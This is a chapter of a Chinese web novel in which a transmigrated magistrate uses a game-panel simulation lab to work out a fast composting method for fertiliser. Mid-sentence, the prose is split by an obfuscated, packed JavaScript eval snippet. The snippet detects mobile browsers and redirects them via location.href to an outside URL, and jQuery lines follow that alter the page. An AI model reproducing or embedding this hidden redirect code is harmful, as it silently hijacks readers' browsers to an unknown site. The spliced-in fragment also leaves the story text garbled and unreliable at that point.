木白前脚刚走,李景安便“咔哒”一声,利落地将自己反锁进房内,顺手拉紧了门栓。
他整个人仰面跌进硬邦邦的床铺上,目光投向头顶那方依旧寒酸,但总算添了几分“人气”的游戏面板,长长吁出一口气。
哎,真难。
好怀念坐在电脑前,面对完全版游戏面板的日子啊……
指尖轻点鼠标,运筹帷幄,挥斥方遒,啥也不愁。
那时,他有完整的【才征】功能,有无所不能的【模拟实验室】。
再难的课题,经由【人才】点拨,再投入【模拟实验室】,总能得到完美的解决方案。
可惜……一朝穿越,面板也缩了水。
即便经历了一次堪称史诗级更新,【才征】被彻底解锁,他那安身立命的宝贝实验室,却依旧杳无踪迹。
“唉……难啊……”
认命般的叹息再次逸出唇边,倦怠感爬上眼角眉梢。
李景安打了个大大的哈欠,生理性的水汽在眼尾氤氲,视线无意识地向下飘移。
倏地,他眼皮一颤,倦怠的眸光瞬间凝住了。
游戏面板的左下角,不知何时,悄然浮现出一个浅浅的、半透明的方格。
玄光幽幽流转,一个古朴的【试】字烙印其中,笔锋如最朴拙的刀锋镌刻,提捺之间锐气逼人。
模拟实验室?!
李景安猛地坐起,动作快得带起一阵风,吹起他垂落在脸颊的鬓发。
他死死盯着那个方格,心脏在胸腔里擂鼓。
这……什么时候冒出来的?
他分明记得,上次大更新时,根本没有这个啊!
下意识地,他抬眼扫向顶头那一排方格数据。
各项数值安静如鸡,纹丝未动。
面板确实没有经历第二次更新。
那这凭空出现的图标是……难道游戏底层代码的BUG,也跟着他一起穿越显化了?
一丝迟疑掠过心头,但指尖却已快过思绪,点向了那个幽玄的【试】。
“嗡——!”
刹那间,刺目的白光塞满整个视野!
李景安下意识紧闭双眼,待那霸道的白光退去,才试探着睁开眼——
陋室土墙已不见踪影。
眼前,是一面巨大得令人屏息的琉璃壁,剔透得恍若无物。
壁后,银灰色的机械臂在冷光闪烁的全自动流水线上有条不紊地抓取、传递,发出低沉而规律的嗡鸣。
流水线的尽头,一个蓝白相间、线条冷硬的巨大保险箱沉默的矗立着。
这景象……与他电脑屏幕上那方虚拟的模拟实验室,分毫不差!
李景安的心脏猛地一撞,血液奔涌的声音在耳鼓里轰然作响。
他立刻低头,左手边,一块熟悉的操作屏幕幽幽亮起。
一行微微凸起的长条格整齐排列:【农业】、【矿业】、【林业】、【手工业】、【畜牧业】、【政策方针】。
唯一的不同,是屏幕右上角那个鲜红如血的篆印——“试”。
“策划……终于想起做人的快乐了?”李景安喃喃自语,嘴角勾起一丝极淡的弧度,“居然……开通了试用版。”
他眨了眨眼,压下心头的激荡,指尖精准地点向【农业】。
微凸的长条格瞬间隐去,取而代之是五个清晰的条目:【农耕工具】、【种子培育】、【肥料培养】、【灌溉措施发展】、【农田体系化】。
李景安眸光微凝,毫不犹豫地点下:【肥料培养】——【粪肥深度熟成模拟试验】
指令落下的瞬间,琉璃壁后,那巨大的蓝白保险箱发出沉闷的“砰”响。
箱门轰然弹开,一条套着黑色橡胶的金属履带从箱体内缓缓伸出。
轰隆隆的机械启动声震得耳膜微麻。
履带开始运转,一堆堆、一瓶瓶的材料被平稳地输送出来,抵达机械臂的取料区。
李景安凝神看去。
从左至右,取料格内依次摆放着:灰扑扑的草木灰、闪烁着奇异冷光的矿石粉末、一团团色泽暗沉、质地湿润的深度腐熟旧肥,以及……几瓶贴着复杂化学标签的专业催化剂。
与此同时,他身前的操作屏幕也发生了变化。
条目消散,中央区域出现两个待填写的变量空格。
左上角新增了两个带着精密刻度的转盘表盘,分别标注着【翻动】、【喷水】。
右上角是【地点】与【季节】的切换选项。
右下角挂着一个圆形的放大镜图标,显然是用于材料分析。
左下角,则是醒目的【开始模拟】按钮。
李景安呼了口气,心里跟被千万只蚂蚁啃食一般,酥酥麻麻的,痒的厉害。
这实验室,还真被带来了!
就连操作台都和他先前见过的一模一样!
李景安将这些材料一一看了过去。
专业催化剂?
首先排除!
他是来当县令的,不是来当神的。
他身边连个懂炼丹的道士都没有,哪里解释得清楚这些东西的来源、本质以及如何获得?
矿石粉末?
云朔县有山,山上有矿藏,而矿粉能提升腐肥营养,甚至能作用催化,似乎非常合适。
可是……
李景安泰勒抬眼,面板上【矿】字下面那个孤零零、刺眼的“0”,已经宣告了它的死刑。
李景安叹了口气,目光落在最不起眼的草木灰上。
这倒是来的轻松便宜。
家家户户灶膛里都能扒拉出来的寻常物,不惹眼,易获取。
虽然不知道效果如何,但就凭这一点“易得”,便能占据一个位置。
李景安果断在第一个变量空格填下“草木灰”。
至于另一个变量……他的视线投向那团“深度腐熟的旧肥”。
李景安微微蹙眉。
云朔县似乎并无沤肥传统,民间真会有这种符合标准的“旧肥”吗?
他迟疑地将屏幕上的放大镜图标,拖拽到那团暗沉湿润的肥料样本上。
【深度腐熟的旧肥:自然产物。多见于山上植被茂密、腐殖质丰富之处。由动植物残骸经长期自然分解混合于土壤中形成。】
李景安眼中瞬间亮起恍然的光。
原来如此!
“深度腐熟”的本质,本就是粪便、草木等有机质在土壤中,经过自然界的翻动、喷水、发酵而成。
云朔多山,植被繁茂,雨水丰沛,山中土壤深处,岂非天然就蕴藏着这种“旧肥”?
一丝喜色掠过眉梢,李景安不再犹豫,迅速在第二个变量空格填下“深度腐熟的旧肥”。
初次尝试,他并未贸然调整【翻动】、【喷水】两个转盘。
只是将右上角的【地点】与【季节】分别设定为【云朔县】、【春】,随即点下了【开始模拟】。
嗡鸣声再起,不多时,一个沉甸甸、黑黢黢的陶土坛子“噗”地出现在操作台旁。
屏幕上跳出结果:【催熟成功,模拟耗时:18天。】
成了!基础方向完全正确!
李景安眼中掠过一丝安心的光
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185177|179818||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
芒,薄唇抿紧,略微起伏的情绪染红了面颊。
接下来,就是提速的关键——调整翻动与喷水的次数!
他深吸一口气,骨节分明、因连日操劳而略显苍白的手指,稳稳搭上了左上角那两个带着精密刻度的转盘。
这一次,没有丝毫犹豫,他手腕发力,将两个转盘——一气旋到底。
轰隆——!!!
震耳欲聋的巨响毫无预兆地撕裂了实验室的宁静。
刺鼻的黑灰色浓烟瞬间吞噬了琉璃壁后整个模拟空间。
剧烈的冲击波撼动着操作间,地面仿佛都在呻吟。
屏幕上的结果冰冷刺目:【催熟失败(第八日)。氮气值过高,接触火源,爆炸。】
李景安被这狂暴的力量震得身形剧烈一晃,几缕细碎的黑灰竟穿透了无形的屏障,沾上他鸦羽般低垂的长睫。
可他面上不见丝毫惊惶,甚至连眼睫都未颤动一下。
他只是平静地抬起手,用指腹在眼前一抹,拂去睫上的污迹,随即目光便重新聚焦在操作屏上,冷静地开始调整【翻动】与【喷水】的参数。
【催熟失败(第九日)。氮气值过高,接触火源,爆炸。】
【催熟失败(第十三日)。氮气值过高,接触火源,爆炸。】
【催熟失败(第十日)。氮气值过高,接触火源,爆炸。】
……
单调而残酷的失败提示音在密闭空间内机械重复。
空气中逐渐弥漫开草木灰燃烧的呛人焦糊味。
李景安早已记不清这是第几次尝试。
他自觉得身体如同灌满了沉重的铅块,每一次抬起仿佛有千钧重的手指去拨动转盘、输入新的变量组合时,指尖都在无法抑制地细微颤抖。
耳畔是永无止境的嗡鸣,尖锐、细密,如同万千只工蜂在颅内筑巢般,将外界的一切声响隔绝在外。
可他的精神却好的很,一双红的跟兔子似的眼睛死死地盯着面前的屏幕。
每一次爆炸的参数、每一次功败垂成的关键节点,都被他牢牢记住,不断推演,逐渐编织成一张越来越清晰、越来越接近真相的脉络图谱。
终于——
在又一次调整了翻动频率与喷水量之后,那象征着毁灭的狂暴嗡鸣骤然平息,取而代之的是一种沉稳、规律、充满秩序的运作声。
不多时,一个沉甸甸、与之前别无二致的黑陶土坛子,安静地出现在他的手边。
屏幕上,一行绿色字符缓缓浮现:【催熟成功。堆料催熟总用时:十五天。根据当前环境设置(云朔县,春),催熟天数已达理论极限。】
紧绷如弓弦的脊背骤然松懈,一股巨大的虚脱感席卷而来,李景安整个人几乎要向后软倒。
他猛地用手撑住冰冷的操作台边缘,才勉强稳住摇摇欲坠的身体。指关节因过度用力而泛白。
李景安缓缓抬起头,苍白的脸上不见血色,眉宇间刻满深重的倦意,汗水浸湿的额发狼狈地贴在额角。
他看着绿色的字符,抹了把额角的汗珠,露出了心满意足的笑容。
退出了【模拟实验室】后,“噗通”、“噗通”。
两个沉甸甸的黑陶土坛子应声掉落在眼前的地面上。
李景安长长地呼出一口气。
他睁开眼,身体却像被抽走了所有骨头,蜷缩着侧摔在床上,全身肌肉不受控制地微微发颤。
面色苍白如纸,唯有那双眼睛,依旧亮的吓人。
他伸出手,轻轻拍了拍地上那两个冰冷的陶罐,唇边逸出一声低喃:“……成了。”